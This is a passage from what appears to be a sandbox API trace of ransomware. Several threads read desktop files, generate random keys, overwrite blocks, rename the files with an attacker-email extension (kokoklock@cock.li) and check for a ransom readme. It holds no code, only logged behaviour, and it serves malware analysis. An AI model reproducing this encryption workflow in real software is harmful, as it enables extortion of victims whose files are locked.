(HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581d8) returned 1 [0172.589] CloseHandle (hObject=0x5d4) returned 1 [0172.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd0) returned 0x2ff1520 [0172.590] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" [0172.590] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.590] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dccr2t7rk.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.590] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0172.591] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\dCCr2t7Rk.swf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.591] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.591] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.591] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.591] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf8f0) returned 1 [0172.591] RtlExitUserThread (Status=0x1) Thread: id = 1937 os_tid = 0xd74 [0170.744] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.552] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.552] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.553] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x138ff7b8 | out: lpFileSize=0x138ff7b8*=69844) returned 1 [0172.553] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x110d0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.553] ReadFile (in: hFile=0x5d4, lpBuffer=0x138ff78c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x138ff78c*, lpNumberOfBytesRead=0x138ff788*=0x4, lpOverlapped=0x0) returned 1 [0172.554] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.554] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058408 [0172.554] NtQuerySystemTime (in: CurrentTime=0x138ff764 | out: CurrentTime=0x138ff764*=132121213298734816) returned 0x0 [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x37e2ceed [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x237af67c [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xbcca671f [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x1adbf171 [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xaa93c9ad [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xf979387b [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xb7c271b7 [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xa806d47b [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x33a7e67a [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x707a6f47 [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xcb7b1e95 [0172.554] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xc590f5cd [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x6268fe40 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x2306f74c [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xeeca6aee [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x42bf255e [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xf92ead1b [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xdbe4be5 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x95c743e1 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x2696a58b [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x5cb24aa2 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x686679a5 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x3dbd1dad [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xc946812 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xc4cf1d4e [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x92b7a5f [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xdfd2628b [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x28cf2ec7 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x61a67565 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x10999604 [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0xfa58de8d [0172.555] RtlRandom (in: Seed=0x138ff770 | out: Seed=0x138ff770) returned 0x6b5b5d0b [0172.564] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.566] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.566] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.567] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.567] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x138ff73c, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x138ff73c*=0x4096, lpOverlapped=0x0) returned 1 [0172.567] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581d8 [0172.567] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581d8) returned 1 [0172.567] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.568] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581d8 [0172.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581d8) returned 1 [0172.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.568] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x138ff73c, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x138ff73c*=0x4096, lpOverlapped=0x0) returned 1 [0172.568] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.568] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x110d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.568] WriteFile (in: hFile=0x5d4, lpBuffer=0x30583e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x138ff774, lpOverlapped=0x0 | out: lpBuffer=0x30583e0*, lpNumberOfBytesWritten=0x138ff774*=0x20, lpOverlapped=0x0) returned 1 [0172.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.569] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.569] WriteFile (in: hFile=0x5d4, lpBuffer=0x30581b0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x30581b0*, lpNumberOfBytesWritten=0x138ff788*=0x8, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x5d4, lpBuffer=0x138ff7a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x138ff7a0*, lpNumberOfBytesWritten=0x138ff788*=0x4, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x138ff788*=0x4, lpOverlapped=0x0) returned 1 [0172.569] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x138ff788*=0x6c, lpOverlapped=0x0) returned 1 [0172.570] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x138ff788*=0x20, lpOverlapped=0x0) returned 1 [0172.570] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x138ff788, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x138ff788*=0x4, lpOverlapped=0x0) returned 1 [0172.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.570] CloseHandle (hObject=0x5d4) returned 1 [0172.570] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xce) returned 0x2ff1520 [0172.570] wcscpy (in: _Dest=0x2ff1520, _Source="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" [0172.570] wcscat (in: _Dest=0x2ff1520, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0172.570] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\deq4evpb.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0172.571] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1520) returned 1 [0172.571] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\deQ4eVpb.avi.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0172.571] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x56) returned 0x2fa4660 [0172.571] wcscpy (in: _Dest=0x2fa4660, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0172.571] wcscat (in: _Dest=0x2fa4660, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0172.571] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0172.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4660) returned 1 [0172.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf268) returned 1 [0172.572] RtlExitUserThread (Status=0x1) Thread: id = 1938 os_tid = 0xd70 [0170.745] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0172.531] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0172.531] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\dhqna4njvwkx5.bmp.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4 [0172.531] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x1397fe10 | out: lpFileSize=0x1397fe10*=28463) returned 1 [0172.531] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x6f2b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.531] ReadFile (in: hFile=0x5d4, lpBuffer=0x1397fde4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x1397fde4*, lpNumberOfBytesRead=0x1397fde0*=0x4, lpOverlapped=0x0) returned 1 [0172.533] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058430 [0172.533] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583b8 [0172.533] NtQuerySystemTime (in: CurrentTime=0x1397fdbc | out: CurrentTime=0x1397fdbc*=132121213298420739) returned 0x0 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x2e832fe6 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x594f8e7a [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xd272d1c9 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xe208667e [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x35125712 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xabf6508c [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xfffa7e1f [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xa73edc3 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xbbec61b [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xb1e66656 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xa7a47925 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xb6b69e69 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xac85a7dd [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xe4598af9 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x282c3f78 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xb491bcf4 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xd4a27e23 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x2a8710e [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x2be0adf6 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xd6b35cef [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x51a2cce6 [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x8f73bd7c [0172.533] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xc42705e2 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x73c73a2b [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xa8605cb6 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x6ad6e714 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x59a772f1 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xd0beaff8 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x4b6723d3 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xfe2f79d0 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0x41488890 [0172.534] RtlRandom (in: Seed=0x1397fdc8 | out: Seed=0x1397fdc8) returned 0xeab8b11a [0172.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058408 [0172.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013698 [0172.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3058188 [0172.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013698) returned 1 [0172.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4f02870 [0172.546] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.546] ReadFile (in: hFile=0x5d4, lpBuffer=0x4f02870, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1397fd94, lpOverlapped=0x0 | out: lpBuffer=0x4f02870*, lpNumberOfBytesRead=0x1397fd94*=0x4096, lpOverlapped=0x0) returned 1 [0172.547] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0172.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013620 [0172.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0172.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30583e0 [0172.548] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x30581b0 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30581b0) returned 1 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013620) returned 1 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0172.548] WriteFile (in: hFile=0x5d4, lpBuffer=0x2fc6fd0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1397fd94, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesWritten=0x1397fd94*=0x4096, lpOverlapped=0x0) returned 1 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0172.548] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x6f2f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.548] WriteFile (in: hFile=0x5d4, lpBuffer=0x30583e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1397fdcc, lpOverlapped=0x0 | out: lpBuffer=0x30583e0*, lpNumberOfBytesWritten=0x1397fdcc*=0x20, lpOverlapped=0x0) returned 1 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x30583e0) returned 1 [0172.548] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02870) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058188*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x3058188*, lpNumberOfBytesWritten=0x1397fde0*=0x8, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x1397fdf8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x1397fdf8*, lpNumberOfBytesWritten=0x1397fde0*=0x4, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1397fde0*=0x4, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1397fde0*=0x6c, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x3058430*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x3058430*, lpNumberOfBytesWritten=0x1397fde0*=0x20, lpOverlapped=0x0) returned 1 [0172.549] WriteFile (in: hFile=0x5d4, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1397fde0, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1397fde0*=0x4, lpOverlapped=0x0) returned 1 [0172.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058430) returned 1 [0172.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058408) returned 1 [0172.549] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3058188) returned 1 [0172.549] CloseHandle (hObject=0x5d4) returned 1 [0172.550] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd8) returned 0x2f97678 [0172.550] wcscpy (in: _Dest=0x2f97678, _Source="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\DhqnA4nJvwKX5.bmp.mailto[kokoklock@cock.li].d0e731") 